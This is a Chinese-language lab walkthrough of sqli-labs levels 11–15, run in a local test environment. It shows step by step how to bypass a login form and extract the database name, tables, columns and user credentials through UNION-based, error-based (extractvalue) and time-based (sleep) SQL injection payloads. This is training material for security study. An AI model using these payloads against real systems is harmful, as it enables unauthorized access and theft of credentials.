一、实操环境
1、操作系统
- VMware虚拟机创建的win10系统
- 内存8GB
- 硬盘255GB
- 处理器AMD Ryzen 9 5900HX
2、操作项目
==sql-lib项目,本篇文章介绍关卡11-15。==
3、工具版本
- phpstudy 8.1.1.3
- php版本 5.4.45nts
- Apache2.4.39
- MySQL5.7.26
- Chrome
4、SQL注入目的
- 判断是否允许注入
- 判断注入点类型
- 判断回显点
- 获取数据库信息
- 获取表信息
- 获取字段信息
二、less-11
1、注入判断
post注入,先在username输入admin',密码随便输,返回错误信息,从错误信息可以找到username有注入点,而且应该是字符注入类型。
burp抓到的包是这样的。
在burp中万能语句,admin' or 1=1 发现正常登录了。
记得在F12hackbar中将post开启。
2、确定列数
使用order by。
如果是admin' or order by 3# 会报错,如果是2,则正常显示,所以列数有两列。
3、获取数据库名
输入1(这里随便给个值,目的是让其查不到) admin' union select 1,database()#可以显示出库名。
4、获取表信息
输入1 admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#就可以查出表信息。
5、获取列名
输入1 admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#,即可获取列名。
6、获取用户名、密码
输入1 admin' union select group_concat(username),group_concat(password)from users#即可获取用户名和密码。
三、less-12
1、尝试判断
输入admin',没有回显,有可能是双引号字符型注入,如果输入admin",报错,所以这里修改为admin") or 1=1#,登陆成功。
2、获取数据库信息
1 admin") union select 1,database()#
3、获取表信息
输入1 admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
4、获取列信息
1 admin") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
5、获取用户名和密码
1 admin") union select group_concat(username),group_concat(password)from users#
四、less-13
1、尝试判断注入
先尝试admin',报错,看报错信息,修改为admin') or 1=1#,发现没有回显,所以使用报错盲注。
2、获取数据库信息
输入admin') and extractvalue(1,concat('~',(select database()),'~'))#。
3、获取表名
admin') and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'))#,更改limit可以获取后面的表名。
4、获取列名
admin') and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~'))#
5、获取用户名和密码
admin') and extractvalue(1,concat('~',(select username from users limit 0,1),'~'))#
五、less-14
1、判断注入
经过测试,发现与十三关类似,这里是报错的双引号盲注,改成admin"就行。
2、获取数据库信息
admin" and extractvalue(1,concat('~',(select database()),'~'))#
3、获取表信息
admin" and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'))#,更改limit可以获取后面的表名。
4、获取列名
admin" and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~'))#
5、获取用户名和密码
admin" and extractvalue(1,concat('~',(select username from users limit 0,1),'~'))#
六、less-15
1、尝试判断
输入了admin'、admin"以及加上各种括号都不显示,可能是延迟注入,这里为单引号盲注。
2、获取数据库信息
输入admin' and if(substr((select database()),1,1)='s',sleep(5),1)#==也可以用ascii判断==
3、获取表信息
输入admin' and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#
七、总结与小记
本篇文章是sql-lib的11-15关,如果有什么问题请大家海涵,有什么问题请大家评论。